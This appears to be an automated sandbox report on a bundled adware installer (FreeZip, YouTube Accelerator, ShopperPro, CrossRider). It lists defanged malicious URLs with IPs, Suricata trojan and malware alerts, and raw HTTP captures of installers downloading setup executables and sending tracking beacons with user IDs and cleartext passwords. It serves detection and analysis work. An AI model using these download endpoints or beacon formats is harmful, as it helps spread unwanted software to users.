hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.5814782007114586	78.138.127.15
hxxp://dl.ourclientinputsrv.com/smt2b/all/hat/row/setup.exe_b	69.16.175.42
hxxp://install.sourceapp.info/mg?alpha=HnUrS1QFb0pJLlxNBGFbITxpWFFAVUdjJBsKFA==	70.186.131.141
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.16778928637932194	78.138.127.15
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=55ab86e2-1aa0-4cd0-9974-956045006e3d&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU1YWI4NmUyLTFhYTAtNGNkMC05OTc0LTk1NjA0NTAwNmUzZCwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTcxJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1422581381&aff=JSsmtycl&ver=2.0.7791.1486	198.232.124.192
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=N6dOqWm8Q95zRTWqMhK92y7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoT3JQKoSvMaYBPEhRyyBD7DbfYAneP5MPopubDw8olAs Nle7oezr7YHWYd/vwxon8edeFgooUYb 2ZKqVpmMJm6Of9ocGmWJx/8D22fMkCRNVwvne4x3wjDUBlljpmKU8In48S6Xe28RUiyenMUWdnVXgd6TQBX2TfbAfdk2QEqV9sNxrhLAG9RStn5Fs7gF1fbDca4SwBv8vPmCTwtmQefIC2kPlP4P2vxpQ1dWE9PAWjA657PQNbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.158
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1
hxxp://flex.msn.com/mstag/mstag.1003102000.js	207.46.194.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbJAkqBmtM5btymF904v4t2DqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaZcc7RKjUBXhxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98WjDAtvxZltJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPgkADCkh95qlw==	54.230.202.158
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe	69.16.175.42
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAez7kya2DQtiCrPuJP0oXNMGY8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx342ns16QeGHmcg==	54.230.202.158
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=XJYuqQQo69e7kz6lYX7QXjtwOqvEtO32dxAUVrEP9Zv8ln8Iap23//2TEkHeJNDUNLVXkHqu5mu/uXZTGtsiaqT5i7QP1JS WLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y	54.230.202.13
hxxp://errors.ourclientinputsrv.com/ie-error.gif?action=bho&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581380&lifetime=14&error=button_failed_to_run_exe_64bit_an_attempt_was_made_to_reference_a_token_that_does_not_exist&errcounter=1&il=3&rnd=1954	54.231.9.28
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f0037ca765f6f351	88.221.132.207
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XOxRKBm2zlwkTetWCphNvNJH6yqhsEm5xps2Fb43eqlAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6pKb81Sa5kgtoqKD5 RG1kgWPHy8c1b6vM/D6GMrTkRzfV9OCtHXZfA3mXJEY39mHAhwsRGINrujU8aLWOIyJUH8YWruN4e6MO8O/q5Hem1bJiqDUFiGk4U0lC/Eq70qcbLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL4uL3nZNLGhPzkTt9Mah9wLlBkGfulxjlGyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSgoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuYYZa5L2VdsU=	54.230.202.158
hxxp://bi.bisrv.com/installer/ajax	78.138.127.15
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US	63.245.217.39
hxxp://i.sbitinjs.info/sbitin/javascript.js?hid=55ab86e2-1aa0-4cd0-9974-956045006e3d&apptitle=ShopperPro&channel=iF1UwJSsmtycl	198.7.58.86
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.49406081626839315	78.138.127.15
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.43.139.27
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=A3ANzFv7fWDiV tpLHtO 8OEpI2yYUZMeq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0fD6sFy6LlDEeU1 iuCr9NmjyH8WKxgZJIN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vNjtBw5FD/fBfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1rWa/VS ZkIKo00wbB7BgLpnWp8nLSX1ZeBh6JrBVv WeIpNafo35XeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNrSApQr3TgxTsPf/PibBcqNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpglZQYv/RzJnyucPTMPOBI=	54.197.238.106
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iF1UwJSsmtycl&name=ShopperPro	54.86.40.33
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.371271973542838	78.138.127.15
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=1Nq73JbirQ9iZHP23jXoQvg0OZIJiuHTTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64Q8eBMx9XGU1pk7byKP46Akb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspb3nYGQbB0Ngd6qHIwZm58EpbLW Y9uI7YjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0Vmo4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PevxiOfLOKnTBFHdk/gnZ pY=	54.197.238.106
hxxp://errors.ourclientinputsrv.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1422581382	54.231.9.28
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuaYM6J9TpnwQQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRlLthe3E5HJFAhTD7v1xeC4SYGfoTYqXvAIcLERiDa7odyS4BuUDC9W3X2f616LHv6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k=	54.230.202.158
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar	88.221.132.166
hxxp://dl.ourclientinputsrv.com/smt2b/all/hat/row/setup.exe_e	69.16.175.42
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbLF/nvWLek4mQTxIUcsgQ wziIw8Q49/dgttmOVSqw04CNiCF4FJfQXuVsw3gS4GmHhRrrlB59yRveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLDgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096InK1XpjK11o=	54.230.202.158
hxxp://errors.ourclientinputsrv.com/ie-error.gif?action=bho&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581379&lifetime=13&error=execution_failed_-buttonutil64.exe_0x80070002&errcounter=1&il=3&rnd=105	54.231.9.28
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=R278SAfkg0Uu52aJyrcE1GNCBe60InD43Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dt2o5ApaNqnksNP54lXZxmki4hEl9YCF5VyTBnYuv2hx2Ppp N4rl8OFHm8Ab6m905ihxqKMi8hVqaofRuwxqimZrKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJBGpTYTs8TL3zTXcwevL5ETe2y22DE7sEM9QBsWl5vvlVBteQHRXnREE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7SXiV rH5PVOR5TX6K4Kv02aPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb2xnVxK3AEApgYrw8pwWnuII=	54.197.238.106
hxxp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4	78.138.127.15
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=	93.184.220.20
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1422581320&SBPIDS=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.158
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21714.ashx?e=37A8KpTgCn/SR sqobBJuaYM6J9TpnwQQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRlLthe3E5HJFVjr4IQgU6/2DXhWyoO7dFSmF904v4t2DyLYKXVcB4UWM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4	54.230.202.158
www.superfish.com	66.70.34.251
www.gstatic.com	173.194.113.207
www.youtube.com	173.194.113.196
ssl.gstatic.com	173.194.113.223
tools.google.com	173.194.113.194
apis.google.com	173.194.113.200
www.mystartsearch.com	69.28.57.26
ieonline.microsoft.com	204.79.197.200
3026708.r.msn.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum SURICATA IPv4 invalid checksum ET POLICY Executable served from Amazon S3 SURICATA STREAM SHUTDOWN RST invalid ack SURICATA STREAM Packet with invalid ack ET TROJAN Win32.Sefnit ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers ET MALWARE Possible Windows executable sent when remote host claims to send a Text File ET POLICY Http Client Body contains pw= in cleartext ET MALWARE Win32/Toolbar.CrossRider.A Checkin ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=24926&rnd=16387 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:33 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=139981-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 979864

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 139981-1119844/1119845
.N..Rx..........#?q<[email protected] .A...0j.$...N9..^..d..p?g^._.*".
.X...o9..[.sk...........]...?e..x...z...uf.F.Ng..Rh.in..:[email protected]
...9ZWe\O.0al.X..........s..P.8h....;......L...e...$.............e.. {
[email protected]........,...m/[qFUZ.z.dk..x.j.......Ht....|Y.. .....1.
Id......:.Z.h....7.....6.=.8......-..)...;..Tc..P..p....}I......;|.A8.
x.....,.8.b.%...X...3.......Zw5.^.._.vg...N.x.....!......Q..?.n8.'/.".
...b.S...c,..}`.x.lT.=......#.o_Y.v..?.//(."k...=;.T.......n:.."y.,.Y:
B...y..9...._>..Z....s.K...,..J.N.$..;..k.[....=sU..0U4...M.=.n....
^[email protected]. .R.cH.%...k..wg ......r...rc..H-..{....W..W.........<"..6.
?....... W...v.)...gR..4...H1P.Y8.,}.e..x.2.|D.H......D.H......}......
v...C.&O..a[.k. VS....n.....,..I.z.j.]U....O............Wa.....P.r...$
d.._\wC.x..D..L\7..P........BC=P...b.s0Q..PS.\*..B.2P.6..5...m........
El/T#.=.}$ m...>...3z....7..XH............n.C...]...#f......0..1._.
'Y.udU.).....z.......d.y.C...y. *.":.2....Y..J..1.H.|......Y...8...]..
.....I.Y1..t........._..^q_...;.b...@>k..i.{G.<)U8.%N<.e\..Yl
/J..Rl...|...H .m...q ....K4f.T.$M.......E...p..7*.....&...*.tj ...o..
[email protected].]....h{.wh..(....1x.........mQ...N.......|o
 b..eA..A.V.f...}..R.........6..JA.r .....6.#!.=w...p..q..Q..3........
........e0.rO.] ..Ge1....)...d..qrl.hT.....)...n]....Ey...fGh .<...
0MG,..dp..u..1...RTp ..O.6./r{.9.b:G9..[>...........p)\....j$....\.
....>j....9...:....x...P...........k.FL*NK.#..V...c...E.<.Uk.]E.
9.....K.?*...r(w..A..q....N4E.Og........M.`.t.a....G......E?.m...C
<<< skipped >>>


GET /mstag/mstag.1003102000.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Cache-Control: max-age=86400

Content-Type: application/javascript

Content-Encoding: gzip

Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT

Accept-Ranges: bytes

ETag: "069797fbff3cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

Date: Fri, 30 Jan 2015 01:29:20 GMT

Connection: close

Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|[email protected],..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<[email protected]..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[[email protected].>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;[email protected] ..6...`.....m.
....H=U..P.....H_ O[[email protected]/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`
<<< skipped >>>


GET /app/ping.ashx?e=1Nq73JbirQ9iZHP23jXoQvg0OZIJiuHTTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64Q8eBMx9XGU1pk7byKP46Akb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspb3nYGQbB0Ngd6qHIwZm58EpbLW Y9uI7YjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0Vmo4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PevxiOfLOKnTBFHdk/gnZ pY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:10 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:10 GMT..Content-Length: 0..


POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive



0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./..m.. ..|...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:28:21 GMT

Expires: Tue, 03 Feb 2015 01:28:21 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015012
9190758Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.m.. ..|.....20150129190758Z....20150205190758Z0...*.H..............C.
..^f..".F_.A .sc.U.......$~5............e.....*.K.....-w..Ps..-...Q...
..I..4.*..\.3)...%...(.S.`...`G.M..N.....[...e}..Z.....qn.....i..Y.^..
.8.:@.ib,k....V.......Em......]..f...E...j.....d.N8...`X.N.u.~....`6..
.TGsl..^.J.RX..b..4Q....(..ER..!...D....]/.HTTP/1.1 200 OK..Content-Ty
pe: application/ocsp-response..Date: Fri, 30 Jan 2015 01:28:21 GMT..Ex
pires: Tue, 03 Feb 2015 01:28:21 GMT..Cache-Control: public, max-age=3
45600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protection: 
1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:qui
c,p=0.02..0..........0..... .....0......0...0......J......h.v....b..Z.
/..20150129190758Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v.
...b..Z./..m.. ..|.....20150129190758Z....20150205190758Z0...*.H......
........C...^f..".F_.A .sc.U.......$~5............e.....*.K.....-w..Ps
..-...Q.....I..4.*..\.3)...%...(.S.`...`G.M..N.....[...e}..Z.....qn...
..i..Y.^...8.:@.ib,k....V.......Em......]..f...E...j.....d.N8...`X.N.u
.~....`6...TGsl..^.J.RX..b..4Q....(..ER..!...D....]/.....
<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive



0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./....2.S.....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:28:22 GMT

Expires: Tue, 03 Feb 2015 01:28:22 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015012
9190234Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...2.S.......20150129190234Z....20150205190234Z0...*.H.............,U.
V......K..{njB.q......)1 .. 2.4Ee...q......c..*.d.....d.....c(0."...Z.
...w...f.....98.t.......X}..[...10.X..?.z.i......]E...;...k..'.]Rl...I
.U.FXy:..H.F rW3.C...f.......#.<..lU^._..O..u.#G.|>..h.~e*.f.?i.
...n^FW,..W( ).uO..1.$*4j.X>...txB.a.......8t2r.sHTTP/1.1 200 OK..C
